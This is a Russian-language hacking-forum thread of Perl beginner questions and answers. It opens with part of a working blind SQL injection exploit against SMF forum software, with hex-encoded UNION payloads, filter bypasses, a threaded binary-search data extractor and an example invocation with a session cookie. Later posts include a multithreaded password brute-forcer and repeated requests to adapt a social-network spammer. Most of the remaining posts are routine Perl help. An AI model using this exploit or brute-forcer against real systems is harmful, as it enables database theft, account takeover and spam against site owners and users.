$load=~s/_/?/g;#This accounts for the search request being modfied by SMF.
$load=~s/%/*/g;
$tst= $ua->post($target."?action=search2",["advanced"=>"1","search"=>"1","searchtype"=>"1","userspec"=>$load,"minage"=>"0","maxage"=>"9999","sort"=>"relevance%7Cdesc","brd%5B1%5D"=>1,"submit"=>"Search"]);
$page= $tst->content;
#print "<br>page:".$page;die;
$t= time();
#print "\n 1:time\n".$t."\n\n";
if($t-$a>=10){
$f=1;
}
}else{#%sunion select bypasses SMF's filter so i can use a sub-select in the following query.
$load="\\,union select ".hex_encode("1)) or (1!=\"'\") and (select (IF((".$if."),true,false)) from ".$table." where 1 ".$where.") or (1!=\"'\") and pmr.ID_MEMBER = 1#'").' # ';#sql comments still work in SMF
$tst= $ua->post($target."?action=pm;sa=search2",["advanced"=>"1","search"=>"1","searchtype"=>"1","userspec"=>$load,"minage"=>"0","maxage"=>"9999","sort"=>"ID_PM%7Cdesc","submit"=>"Search"]);
$page= $tst->content;
#print $page; die ;
if(index($page,"No Messages Found")==-1){
$f=1;
}
}
return $f;
}
#worker thread
sub bin_finder{
my $base=shift;
my $length=shift;
my $question=shift;
my $table=shift;
my $where=shift;
#One UserAgent object is used per thread.
my $ua = LWP::UserAgent->new;
$ua->agent("Firebird");
$ua->default_header("Cookie"=>$cookie);
#binary search:
while($globPos<=$length){
$semaphore->down;
$c=$globPos;
$globPos++;
$semaphore->up;
my $n=$base-1;
my $low=0;
my $floor= $low;
my $high=$n-1;
my $pos= $low+(($high-low)/2);
my $f=1;
while($low<=$high&&$f){
if(!$cookie){
$great="GREATEST(".sprintf($question,$c).",".$pos.")!=".$pos;#bypass the filter for the < and > characters
$less ="LEAST(".sprintf($question,$c).",".$pos.")!=".$pos;
}else{
$great=sprintf($question,$c).">".$pos;
$less=sprintf($question,$c)."<".$pos;
}
if(bin_ask($great, $table,$where,$ua)){#asking the sql database if the current value is greater than $pos
$oper++;
if($pos==$n-1){#if this is true then the value must be the modulus.
@result[$c-1]=$pos+1;
#print "\nDBG found:$c:ascii:".sprintf('%c',$pos)."\n";
$f=0;
}else{
$low=$pos+1;
}
}elsif(bin_ask($less, $table,$where,$ua)){#asking the sql database if the current value is less than $pos
$oper++;
if($pos==$floor+1){#if this is true the value must be zero.
@result[$c-1]=$pos-1;
#print "\nDBG found:$c:ascii:".sprintf('%c',$pos)."\n";
$f=0;
}else{
$high=$pos-1;
}
}else{
#both greater than and less then where asked, so thats two http requests.
$oper++;
$oper++;
@result[$c-1]=$pos;
#print "\nDBG found:$c:ascii:".sprintf('%c',$pos)."\n";,,
$f=0;
}
$pos=$low+(($high-$low)/2);
}
}
}
#hex_encode was ported from one of RetroGod's php exploits.
#Thanks be to rGod for telling me about this encoding method on milw0rm's forum back when it was still up.
#rGot you are leet!
sub hex_encode{
my $my_string=shift;
my $encoded="0x";
my $len=length($my_string);
for ($k=0; $k<$len; $k++){
$temp=sprintf("%X",ord(substr($my_string,$k,1)));
if (length($temp)==1) {
$temp="0".$temp;
}
$encoded.=$temp;
}
return $encoded;
}
В скрипте же написан пример:
smf_blind_sql.pl -p -u admin -t http://127.0.0.1/smf_1-1-3/index.php -n 4 -c SMFCookie218=a%3A4%3A%7Bi%3A0%3Bs%3A1%3A%222%22%3B i%3A1%3Bs%3A40%3A%22091feddbd31bfa96932a5e4e6c34cb 36f2686c1a%22%3Bi%3A2%3Bi%3A1378168836%3Bi%3A3%3Bi %3A1%3B%7D
Извиняюсь,ошибся топиком.
Foxer007
08.02.2009, 15:44
Всем привет. Помогите в спамере по одноклассникам от Каими сделать что б он спамил по онлайн пользователям только с Украины, России и Казахстана.
Вот сам скрипт:
http://kaimi.ru/wp-content/uploads/2009/01/pack.rar
sub hexstring
{
return '0x'.unpack('H*',shift);
}
Как-то так
правильней:
unpack('H*hex', 'text');
:)
Ребят, можно ли работать с LWP через socks и если да то как?
Если нет, через что можно?
Поставь модуль
http://search.cpan.org/~scr/LWP-Protocol-socks-1.1/lib/LWP/Protocol/socks.pm
------------------------------------------------------------------
а вот хотел тебя еще раз спросить ,конечно в том случае если ты конечно запускал этот скрипт
что за слова эти тебе они не знакомы?
вроде как не на русском и не англиском
inicirisci Mail Viltima
inicirisc Mitento Falso
inicirisc Messaggio
нет. я его не запускал.
Помогите плиз
$smth =~/title"\svalue\="(.*)">/
У меня в переменной $smth много есть участков, которые удовлетворяют вышенаписанному условию.
Но как сделать, чтобы перл присваивал переменной $1 значение из последнего совпавшего участка текста в переменной $smth?
Помогите плиз
$smth =~/title"\svalue\="(.*)">/
У меня в переменной $smth много есть участков, которые удовлетворяют вышенаписанному условию.
Но как сделать, чтобы перл присваивал переменной $1 значение из последнего совпавшего участка текста в переменной $smth?
Можно например так сделать:
$text = "value=1 value=2 value=3 value=4";
$m = ( $text =~ /=(\d+)/g )[-1];
print $m;
Foxer007
09.02.2009, 19:08
Всем привет. Помогите в спамере по одноклассникам от Каими сделать что б он спамил по онлайн пользователям только с Украины, России и Казахстана.
Вот сам скрипт:
http://kaimi.ru/wp-content/uploads/2009/01/pack.rar
Kaimi, спасибо.
Вот хочу я, чтобы ко всем новостям сайта (двиг - ДЛЕ 7.3) были сделаны ключевые слова и описание. В ДЛЕ есть генератор этот находится в http://domain/engine/ajax/keywords.php
Делаю туда пост запрос аналогично браузеру, а он мне возвращает только слова на английском(те, что латиницей). Очень странно. Когда я жму на кнопку "Сгенерировать ключевые слова" в одминке через браузер - генерирются, к примеру, слова
Nokia, Темы, 6275i, телефонов, download.
А результат пост запроса, сделанный через LWP таков:
Nokia, 6275i, download
Никак не могу понять в чем проблема. Какие у Вас возникают мыслишки по этому поводу? Мне что то не понять - почему такое происходит((?
ph1l1ster
11.02.2009, 23:40
Скрипт юзает прокси, как перейти к сделующей прокси в списке при опред. условии?
ph1l1ster
12.02.2009, 00:03
eLWAux, Что там показывать то?? обычный скрипт с LWP::UserAgent
$url="ссылко";
$start=LWP::UserAgent->new or die;
if($proxy)
{
$start->proxy('http',"http://".$proxy."/");
print "## Using proxy ".$proxy."\n";
}
$browse = $start->get($url) or die ;
$cont = "контент";
if (index($browse->content,$cont)>-1)
{
print "Next proxy!";
}
и вот когда нашёл $cont надо перейти на другую проксю и опять его искать.))
ph1l1ster, вызови еще раз метод proxy(), только с другими параметрами! Только сам поиск надо в цикл запихнуть.
ph1l1ster
13.02.2009, 12:58
есть скрипт:
open(PASS,"pass.txt")
$pass=<PASS>
$url="ссылка".$pass."ссылка";
$br = LWP::UserAgent->new( ) or die;
$a = $br->get($url);
if (index($a->content,$index)>-1)
{
print $pass;
}
как реализовать многопоточность, чтобы в каждом новом потоке бралась новая строчка из $pass
Можно заморочиться с POE и событийной машиной, но вот с thread-ми завязываться не советую. Я однажды реализовывал что-то подобное (чтение из файла и запись в файл) и проблема у меня была с тем, что в процессе чтения из файла происходило переключение контекста! Это приводило к тому что строка считывалась не полностью сразу двумя процессами. Блокировки на файл мне не помогли.
Может я конечно что-то не так делал, но с тех пор решил с потоками не связываться.
ph1l1ster
пример.. дальше сам
#!/usr/bin/perl -w
use LWP::UserAgent;
use threads;
##############
$threads = 5;
##############
open(PASS,"pass.txt");
@pass=<PASS>;
sub brut( $ ) {
my $c = $_[0];
for(my $i=$c;$i<scalar(@pass);$i+=$threads) {
my $url = "ссылка".$pass[$i]."ссылка";
my $br = LWP::UserAgent->new( ) or die;
my $a = $br->get($url);
if (index($a->content,$index)>-1)
{
print $pass[$i];
}
}
}
my @threadz;
for my $i (0..($threads-1)) {
push @threadz, threads->create(\&brut, $i);
sleep(1);
}
for(@threadz) {
$_->join();
}
помогите пожалуйста написать скрипт на shell, извините что не в тему пишу другого места не нашел,
Удаление всех файлов с указанным суффиксом, к которым не было обращений указанное число дней.
с меня плюс и вечная благодарность :)
Foxer007
15.02.2009, 15:00
Всем привет. Помогите в спамере по одноклассникам от Каими сделать что б он спамил по онлайн пользователям только с Украины, России и Казахстана.
Вот сам скрипт:
http://kaimi.ru/wp-content/uploads/2009/01/pack.rar
Ребят, привет всем!
У меня такой вопрос, пытаюсь авторизироваться на сайте отправив методом POST логин и пароль, ничего не получается (хотя на некоторых других - все ОК!). Собсно ошибка:
HTTP/1.1 200 OK Cache-Control: private, max-age=0 Connection: Close Date: Sun, 15 Feb 2009 20:26:06 GMT Server: GFE/1.3 Content-Length: 2428 Content-Type: text/html; charset=UTF-8 Expires: Sun, 15 Feb 2009 20:26:06 GMT Client-Date: Mon, 16 Feb 2009 20:25:32 GMT Client-Peer: 74.125.39.147:443 Client-Response-Num: 1 Client-SSL-Cert-Issuer: /C=ZA/O=Thawte Consulting (Pty) Ltd./CN=Thawte SGC CA Client-SSL-Cert-Subject: /C=US/ST=California/L=Mountain View/O=Google Inc/CN=www.google.com Client-SSL-Cipher: RC4-SHA Client-SSL-Warning: Peer certificate not verified Title: Google Accounts X-Content-Type-Options: nosniff
Как я понимаю проблема с SSL сертификатом. Без SSL авторизация не удается :(
Собсно сам код:
use strict;
use LWP::UserAgent;
use HTTP::Cookies;
my $ua=LWP::UserAgent->new;
$ua->cookie_jar(HTTP::Cookies->new);
my $url2login='https://www.google.com/accounts/ServiceLoginAuth?service=mail';
my $response=$ua->post($url2login,
[ "continue" => "http//mail.google.com/mail/?ui=html&zy=l",
"service" => "mail",
"rm" => "false",
"Email" => "LOGIN",
"Passwd" => "PASS",
"rmShown" => "1",
"signIn" => "Sign+in",
"asts" => "",
])->as_string;
$response=$ua->get("http://mail.google.com/mail/")->as_string;
open(XX,">xx.html"); print XX $response;
Подскажите как можно оптимизировать данный скрипт?
Скрипт открывает файл,далее выдирает значение после точки запятой и пихает в массив,далее необходимо удлаить повторяющиеся значения и посчиттаь кол-во уников...дело в том что размер файла около 4Гб
#!/usr/bin/perl
my @res= ();
use strict;
use warnings;
open my $FILE, '<', 'file.txt' or die "Open error: $!\n";
my @f = <$FILE>;
chomp @f;
close $FILE;
while (@f) {
my ($a, $b,$c,$d) = split(/;/, shift(@f));
push(@res, $d); }
@res= grep{!$_{$_}++}
@res; print "Unique numbers is:".scalar(@res);
З.ы. за кривость не бейте )
В качестве оптимизации напрашивается сделать считывание из файла построчно, т.к. файлы по 4Гб это просто необходимо сделать, чтобы не считывать весь файл в память! Т.е. while (<$FILE>) и потом работаешь со строкой.
Nightmarе
22.02.2009, 02:04
Код шифровки\дешифровки на php с открытым ключём
<?php
$key = "E4HD9h4DhS23DYfhHemkS3Nf";// 24 bit Key
$iv = "fYfhHeDm";// 8 bit IV
$input = "Text to encrypt";// text to encrypt
$bit_check=8;// bit amount for diff algor.
$str= encrypt($input,$key,$iv,$bit_check);
echo "Start: $input - Excrypted: $str - Decrypted: ".decrypt($str,$key,$iv,$bit_check);
function encrypt($text,$key,$iv,$bit_check) {
$text_num =str_split($text,$bit_check);
$text_num = $bit_check-strlen($text_num[count($text_num)-1]);
for ($i=0;$i<$text_num; $i++) {$text = $text . chr($text_num);}
$cipher = mcrypt_module_open(MCRYPT_TRIPLEDES,'','cbc','');
mcrypt_generic_init($cipher, $key, $iv);
$decrypted = mcrypt_generic($cipher,$text);
mcrypt_generic_deinit($cipher);
return base64_encode($decrypted);
}
function decrypt($encrypted_text,$key,$iv,$bit_check){
$cipher = mcrypt_module_open(MCRYPT_TRIPLEDES,'','cbc','');
mcrypt_generic_init($cipher, $key, $iv);
$decrypted = mdecrypt_generic($cipher,base64_decode($encrypted_ text));
mcrypt_generic_deinit($cipher);
$last_char=substr($decrypted,-1);
for($i=0;$i<$bit_check-1; $i++){
if(chr($i)==$last_char){
$decrypted=substr($decrypted,0,strlen($decrypted)-$i);
break;
}
}
return $decrypted;
}
?>
У кого есть возможность перепишите его пожалуйста под perl, очень надо для взаимодействия пелового скрипта с phpшным
Nightmarе: Код шифровки\дешифровки на php с открытым ключём
Тема: [Perl] Новичкам: задаем вопросы
м?
Nightmarе
22.02.2009, 02:24
Nightmarе: Код шифровки\дешифровки на php с открытым ключём
Тема: [Perl] Новичкам: задаем вопросы
м?
А как мне его на perl перегнать если я с перлом никогда не работал?
Надеюсь на чью-то помощь кто хорошо знает оба языка.
Nightmarе
пробелы только сотри форумные
#/usr/bin/perl -w
use Mcrypt qw(:ALGORITHMS :MODES);
use MIME::Base64;
$key = "E4HD9h4DhS23DYfhHemkS3Nf";# 24 bit Key
$iv = "fYfhHeDm";# 8 bit IV
$input = "Text to encrypt";# text to encrypt
$bit_check=8;# bit amount for diff algor.
$str= encrypt($input,$key,$iv,$bit_check);
print "Start: $input - Excrypted: $str - Decrypted: ".decrypt($str,$key,$iv,$bit_check);
sub encrypt( $$$$ ) {
my ($text,$key,$iv,$bit_check) = @_;
my @text_num = str_split($text,$bit_check);
$text_num = $bit_check-length($text_num[scalar($text_num)-1]);
for(my $i=0;$i<$text_num; $i++) { $text = $text . chr($text_num);}
my $cipher = Mcrypt::mcrypt_load(Mcrypt::3DES,'',Mcrypt::CBC,'' );
Mcrypt::mcrypt_init($cipher, $key, $iv);
my $decrypted = Mcrypt::mcrypt_encrypt($cipher,$text);
Mcrypt::mcrypt_end($cipher);
return encode_base64($decrypted,'');
}
sub decrypt( $$$$ ) {
my ($encrypted_text,$key,$iv,$bit_check) = @_;
my $cipher = Mcrypt::mcrypt_load(Mcrypt::3DES,'',Mcrypt::CBC,'' );
Mcrypt::mcrypt_init($cipher, $key, $iv);
my $decrypted = Mcrypt::mcrypt_decrypt($cipher,decode_base64($encr ypted_text));
Mcrypt::mcrypt_end($cipher);
my $last_char=substr($decrypted,-1);
for(my $i=0;$i<$bit_check-1; $i++){
if($i==ord($last_char)){
$decrypted=substr($decrypted,0,length($decrypted)-$i);
last;
}
}
return $decrypted;
}
sub str_split( $$ ) {
my ($text,$split) = @_;
if($split<1) { $split = 1; }
my @array = ();
for (my $i = 0; $i < length($text); $i += $split) {
push @array, substr($text, $i, $split);
}
return @array;
}
[dei]
Проверял идентичность результата работы?
Ребят, привет всем!
У меня такой вопрос, пытаюсь авторизироваться на сайте отправив методом POST логин и пароль, ничего не получается (хотя на некоторых других - все ОК!). Собсно ошибка:...
вот рабочий код. механайз рулз
use strict;
use WWW::Mechanize;
my $mech = WWW::Mechanize->new();
$mech->agent_alias('Windows IE 6');
$mech->get('https://www.google.com/accounts/ServiceLoginAuth?service=mail');
$mech->submit_form(form_number => 1, fields => {Email => 'логин', Passwd => 'пасс', PersistentCookie => 'yes'});
my ($loc) = $mech->content() =~ /location\.replace\("(.+)"\)/;
$mech->get($loc);
print $mech->content();
твой код не смотрел почему не работает, но в любом случае ты неправильно куки сохраняешь, почитай доки по этому поводу
my $jar = HTTP::Cookies->new(file => "cookie.txt", autosave => 1, ignore_discard => 1, hide_cookie2 => 1);
вот рабочий код. механайз рулз
Дай пример рабочего кода получающего содержимое страницы почты в гмейле
Дай пример рабочего кода получающего содержимое страницы почты в гмейле
Может лучше ее по попу скачать?
S0ulVortex
02.03.2009, 10:54
Вобщем решил попробывать изучить perl
В учебнике есть задания по проделанным урокам вот запнулся на 1 из них.
#!/usr/bin/perl -w
$im_thinking_of=int(rand 10);
print "Введите часло от 0 до 9:";
$guess=<STDIN>;
chomp $guess;
if ($guess>$im_thinking_of) {
print "perebor!\п";
} elsif ($guess < $im_thinking_of) {
print "NEDABOR!\п";
} else {
print "You win";
}
нужно кароче сделать чтобы цикл повторялся пока не будет правильного ответа. все из тыркал че-то не догоню как :)
#!/usr/bin/perl -w
$im_thinking_of=int(rand 10);
print "Введите часло от 0 до 9:";
$guess=<STDIN>;
chomp $guess;
while ($guess) {
if ($guess>$im_thinking_of) {
print "perebor!\п";
} elsif ($guess < $im_thinking_of) {
print "NEDABOR!\п";
} else {
print "You win"; }
}
че-то такое пробую писать но он кароче повторяет ответ до бесконечности. Еси можно ещё поеснить немного. Сразу говарю учеюник скачал 3 часа назад где-то так что нуб полный. Пока несовсем понимаю что я делаю.
S0ulVortex, тебе просто надо сделать выход, в случае, если ответ правильный. Это можно сделать несколькими способами:
1) поставить exit если ответ правильный
2) поставить next если ответ правильный
3) в условие цикла добавить проверки правильного ответа
S0ulVortex
02.03.2009, 13:44
S0ulVortex, тебе просто надо сделать выход, в случае, если ответ правильный. Это можно сделать несколькими способами:
1) поставить exit если ответ правильный
2) поставить next если ответ правильный
3) в условие цикла добавить проверки правильного ответа
Че-то я не втыкну вроде все делаю правильно а он не повторяет.
#!/usr/bin/perl -w
$im_thinking_of=int(rand 10);
print "Введите часло от 0 до 9:";
$guess=<STDIN>;
chomp $guess;
for ($guess==$im_thinking_of) {
if ($guess>$im_thinking_of) {
print "perebor!\п";
} elsif ($guess < $im_thinking_of) {
print "NEDABOR!\п";
} else {
print "You win."; }
exit;
}
Че-то я не втыкну вроде все делаю правильно а он не повторяет.
#!/usr/bin/perl -w
$im_thinking_of=int(rand 10);
print "Введите часло от 0 до 9:";
$guess=<STDIN>;
chomp $guess;
for ($guess==$im_thinking_of) {
if ($guess>$im_thinking_of) {
print "perebor!\п";
} elsif ($guess < $im_thinking_of) {
print "NEDABOR!\п";
} else {
print "You win."; }
exit;
}
Он делает так, как ты ему говоришь! :-) exit должен быть в последнем else!
Вообще, от себя, посоветую использовать следующий стиль форматирования кода (ну или посчитать perlstyle и следовать тем советам!):
#!/usr/bin/perl -w
$im_thinking_of=int(rand 10);
print "Введите часло от 0 до 9:";
$guess=<STDIN>;
chomp $guess;
for ($guess==$im_thinking_of)
{
if ($guess>$im_thinking_of)
{
print "perebor!\п";
}
elsif ($guess < $im_thinking_of)
{
print "NEDABOR!\п";
}
else
{
print "You win.";
}
exit;
}
Это позволить избегать таких ошибок!
Код должен выглядеть так:
#!/usr/bin/perl -w
$im_thinking_of=int(rand 10);
print "Введите часло от 0 до 9:";
$guess=<STDIN>;
chomp $guess;
for ($guess==$im_thinking_of)
{
if ($guess>$im_thinking_of)
{
print "perebor!\п";
}
elsif ($guess < $im_thinking_of)
{
print "NEDABOR!\п";
}
else
{
print "You win.";
exit;
}
}
Разницу видишь? :-)
S0ulVortex
02.03.2009, 14:10
там написано так:Модифицируйте программу чтобы игра продолжалася, пока число не будет угадано.
Че то либо я не то делаю либо я не знаю.
http://s43.radikal.ru/i099/0903/00/21f7e4c2921c.jpg
мне каждый раз нужно заново запускать. А нужно чтобы он работал пока я не угадаю.
$dig=int(rand 10);
print "Введите число от 0 до 9:";
while(<>) {
chomp;
last if $_ == $dig ? print "You win." : ();
print $_ > $dig ? "perebor!\n" : "NEDABOR!\n";
}
Подскажите скрипт, который был отпарсил большой текстовик с инфой в табличке:
<table border='1' width='90%' align='center' summary='Script output'>
<tr>
<td align="right">
145584
</td>
<td>
23432rdt@gmail.com
</td>
<td>
St324269
</td>
<td>
0
</td>
<td align="right">
0
</td>
<td>
</td>
<td>
</td>
<td>
N
</td>
<td>
</td>
</tr>
<tr>
<td align="right">
145630
</td>
<td>
fra@new.com
</td>
<td>
fe45336
</td>
<td>
0
</td>
<td align="right">
0
</td>
<td>
</td>
<td>
</td>
<td>
N
</td>
<td>
</td>
</tr>
et cetera...
на выходе хочется:
1, 2, 3, 4, 5, 6
7, 8, 9, 10, 11, 12
etcetera
Т.е. выудить значения из таблицы в текстовик.
Необязательно перл.
S0ulVortex
02.03.2009, 14:34
$dig=int(rand 10);
print "Введите число от 0 до 9:";
while(<>) {
chomp;
last if $_ == $dig ? print "You win." : ();
print $_ > $dig ? "perebor!\n" : "NEDABOR!\n";
}
супер спс
супер спс
#!/usr/bin/perl -n
BEGIN { print"---put ENTER for start---"; $dig = int(rand 10); };
print "put number [0 .. 9]:";
$_ = <>;
chomp;
last if $_ == $dig ? print "You winner." : ();
print $_ > $dig ? "what is more!\n" : "WHAT IS LESS\n";
без явного объявления цикла. :-)
Написал вроде скрипт как скрипт, а выдает при запуске:
Use of uninitialized value $scheme in pattern match (m//) at C:/Perl/lib/HTTP/Co
okies.pm line 45.
При этом пропускает какие либо действия связанные с LWP.
GAVVVR, и в чем вопрос? Если хочешь, чтобы тебе помогли, показывай, что ты там написал!
Какой самый лучщий язык программирования? и еще можете дать ссылку на книжки программирования на PHP?
Какой самый лучщий язык программирования? и еще можете дать ссылку на книжки программирования на PHP?
Самый лучший язык программирования PERL!!!!!!!!!!!!!
Ссылок на книжки про PHP не даем!
Самый лучший язык программирования PERL!!!!!!!!!!!!!
Ссылок на книжки про PHP не даем!
По губам бы тебе лопатой :D
Ребята, приведите пожалуйста пример простого парсера,который выдирает все из <title>(.*)</title>.
ЗЫ: С пыхой дружу, но решил переходить на многопоточность
Заранее благодарен
Ребята, приведите пожалуйста пример простого парсера,который выдирает все из <title>(.*)</title>.
ЗЫ: С пыхой дружу, но решил переходить на многопоточность
Заранее благодарен
#!/usr/bin/perl -w
use locale;
$text = "<html>asda dddddasd<title>9asdfasd asdf asd asdf asdff asdfff 111</title>sadf</html>";
$text=~m/<title>(.*)<\/title>/ig;
print $1;
В переменной $1 будет все что тебя интересует.
Чтобы не было проблем с русским языком имеет смысл включить locale
Я знаю как это на php сделать:
$text=file_get_contents('http://google.com');
preg_match('#<title>(.*)</title>#',$text,$out);
echo $out[1];
Вот мне нужно тоже самое,только на PERL
То есть обязательно грабить с сайта
Я в перле не бум-бум ,извините.
Спасибо заранее
demond
Не знаешь, как реализовать парсер для вот этого случая: http://forum.antichat.ru/showpost.php?p=1145622&postcount=963
Единственный момент - там очень большая страница, для памяти лучше со строками работать..
budden, прикрепи к своему сообщению готовый файл для парсинга, чтобы мне его самому не писать. Или лучше в личку. Тебе рабочий код нужен или идея? :-)
Я знаю как это на php сделать:
$text=file_get_contents('http://google.com');
preg_match('#<title>(.*)</title>#',$text,$out);
echo $out[1];
Вот мне нужно тоже самое,только на PERL
То есть обязательно грабить с сайта
Я в перле не бум-бум ,извините.
Спасибо заранее
#!/usr/bin/perl
use LWP::Simple;
$content = get("http://www.mail.ru/");
die "Couldn't get it!" unless defined $content;
$content =~ m/<title>(.*?)<\/title>/img;
print $1;
Пользуйся на здоровье! :-)
budden, прикрепи к своему сообщению готовый файл для парсинга, чтобы мне его самому не писать. Или лучше в личку. Тебе рабочий код нужен или идея? :-)
в РМ отправил, заранее спасибо.
Написал вроде скрипт как скрипт, а выдает при запуске:
При этом пропускает какие либо действия связанные с LWP.
Разобрался. :D . У меня было примерно так:
#! /usr/bin/perl -w
use LWP::UserAgent;
use HTTP::Cookies;
$ua = LWP::UserAgent->new(
agent => 'Opera/9.27 (Windows NT 5.1; U; ru)',
);
$ua->cookie_jar
( HTTP::Cookies->new(
'file' => 'C:/test/cookies.lwp',
'autosave' => 1,
)
);
$res = $ua->get ("localhost")->as_string;
#И так дале...
Почему то жестко ступил и во всем скрипте вместо http://localhost/ написал localhost :D
S0ulVortex
10.03.2009, 01:33
Вобщем нужна помощь с учебником по perl скачал учебник называется "perel за 24 часа"
Ну почему я выбрал именно этот и так понятно, но как оказалось не все так просто прочитал пол учебника а толку реально 0 сам мало чего могу написать максимум это представление что такое perl. Посоветуйте учебник для новичка чтобы понятно было а не как там.
начинал с документации на citforum. А вообще много книжек у O'reilly, в том числе и для начинающих!
"Perl. Специальный справочник"
почитай эту ...
S0ulVortex, понравилась эта (http://proklondike.com/contentview.php?content=103) книга. Написана вроде толково. Правда, я ее еще до конца не прочел))
S0ulVortex
11.03.2009, 00:22
Да я уже скачал книгу "Perl. Специальный справочник" уже первые 2 части разобрал вроде более мение понятно но все же не все. Но думаю понимание будет когда прочитаю весь учебник.
Pridu_ROCK
11.03.2009, 10:59
Понимание придет только после того как начнешь програмить =)) Чтение эт конечно хорошо, но мое предпочтение будет намного больше к практику нежели к теоретику =)) Я думаю так и у всех =)
ph1l1ster
11.03.2009, 17:56
как заставить перл воспринять расширение .php.xl Чтобы он открывал его через LWP::UserAgent как обычное .php ??
ph1l1ster, если ты открываешь через LWP::UserAgent файл на другом серваке, перлу пофигу какое у него расширение, он получает только хтмл код, то есть чтобы что-то исправить надо доступ к серваку
real_kas
11.03.2009, 19:05
Товарищи, привет всем!
Есть проблема. К примеру есть список адресов вида:
http://www.example.org/1234/text/
http://www.example.org/1235/text/
http://www.example.org/1236/text/
http://www.example.org/1237/text/
нужно его пропарсить, и сохранить вывод каждой страницы в какую-нибудь папку, чтобы было в ней типа того:
./any_dir/1234.txt
./any_dir/1235.txt
./any_dir/1236.txt
./any_dir/1237.txt
etc
Т.е. есть проблема. Нужно сохранять выданые веб-сервером странички. Есть решение подобной проблемы?
#!/usr/bin/perl -w
use LWP::UserAgent;
$browser = LWP::UserAgent -> new;
$url = '';
$str = 1; # с какой стр начинать
$end = 20; # закончить
while ($str<$end) {
$request = $browser -> get ("$url".$str)->content;
$dir = int(rand(1000));
mkdir ($dir);
open (LOG , ">./$dir/$str.html");
print LOG $request;
close LOG;
$str++;
}
Что делает эта регулярка?
s/(\$\w+)/$1/eeg
Pashkela
11.03.2009, 23:22
http://books.onlinekniga.ru/books/coockbook/01/8
Нужно обусифицировать perl код, есть ли обусификаторы уже готовые или может быть есть статьи на русском по этой теме?
http://team-madalf.com/index.php?showtopic=59013
http://www.xakep.ru/post/37614/default.asp
http://event.perlrussia.ru/yr2008/talk/1285
А вобще лудше "компилить"....
А есть ли возможность "скомпилить" perl скрипт который использует модули
LWP::UserAgent;
HTTP::Cookies;
strict;
locale;
threads;
threads::shared;
и если да, куда рыть?
$p01nt, если надо спрятать сорцы, нормального способа для перла нету
1. Heretic!
2. Use Acme::Bleach
3. There's perl2exe
perl2exe isn't secure you ignorant wanker!
yes it is
No it isn't
Well, that's not what it's for anyway
4. B::Deparse will defeat any attempt at hiding source!
пруфлинк http://www.perlmonks.org/?node_id=247543
Возникает проблема с gmail imap , когда надо обработать больше одного мыла в цикле.
Ктонить сталкивался с данной проблемой?
Что делает эта регулярка?s/(\$\w+)/$1/eeg
Вырезает из текста все слова, начинающиеся на $
/g, если не ошибаюсь, означает замену по всему тексту, то есть не один раз. А /e не знаю
Вот цитата из статьи "Регулярные выражения в Perl".
В perl имеется несколько модификаторов, используемых с командами m/.../ и s/.../.../: * i - игнорирует различие между заглавными и строчными буквами. * s - метасимволу "точка" разрешено соответствовать символам \n. * m - разрешает метасимволам ^ и $ привязываться к промежуточным символам \n, имеющимся в тексте. Не влияет на работу метасимволов \А, \Z и \z. * х - игнорирует "пробельные символы" в шаблоне (имеются в виду "истинные" пробелы, а не метасимволы \s и пробелы, созданные через escape-последовательности). Разрешает использовать внутри шаблона комментарии. * g - выполняет глобальный поиск и глобальную замену. * с - после того как в скалярном контексте при поиске с модификатором g не удалось найти очередное совпадение, не позволяет сбрасывать текущую позицию поиска. Работает только для команды m/.../ и только вместе с модификатором g. * о - запрещает повторную компиляцию шаблона при каждом обращении к данному оператору поиска или замены, пользователь, однако, должен гарантировать, что шаблон не меняется между вызовами данного фрагмента кода. * е - показывает, что правый аргумент команды s/.../.../ - это фрагменты выполняемого кода. В качестве текста для подстановки будет использовано возвращаемое значение - возможно, после процесса интерполяции. * ee - показывает, что правый аргумент команды s/.../.../ - это строковое выражение, которое надо вычислить и выполнить как фрагмент кода (через функцию eval). В качестве текста для подстановки используется возвращаемое значение - возможно, после процесса интерполяции
s/(\$\w+)/$1/eeg
В первой части этого выражения идет поиск скаляра, вычисляется его значение, и во второй части значение скаляра подставляется вместо самого скаляра.
$p01nt "threads::shared" не компилится или у меня руки кривые....А остальное ок вроди...
ph1l1ster
24.03.2009, 13:59
if ($get->content =~ /<a href=\"(.*)\">/)
{
print "$1\n";
}
выводит только первую найденную. как вывести все найденные?
wildshaman
24.03.2009, 14:05
if ($get->content =~ /<a href=\"(.*)\">/)
{
print "$1\n";
}
выводит только первую найденную. как вывести все найденные?
preg_match_all('/<a href="(.*?)">/', $get->content, $out);
for ($i=0; $i<count($out[1]); $i++)
echo $out[1][$i]."\n";
Должно работат =)
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot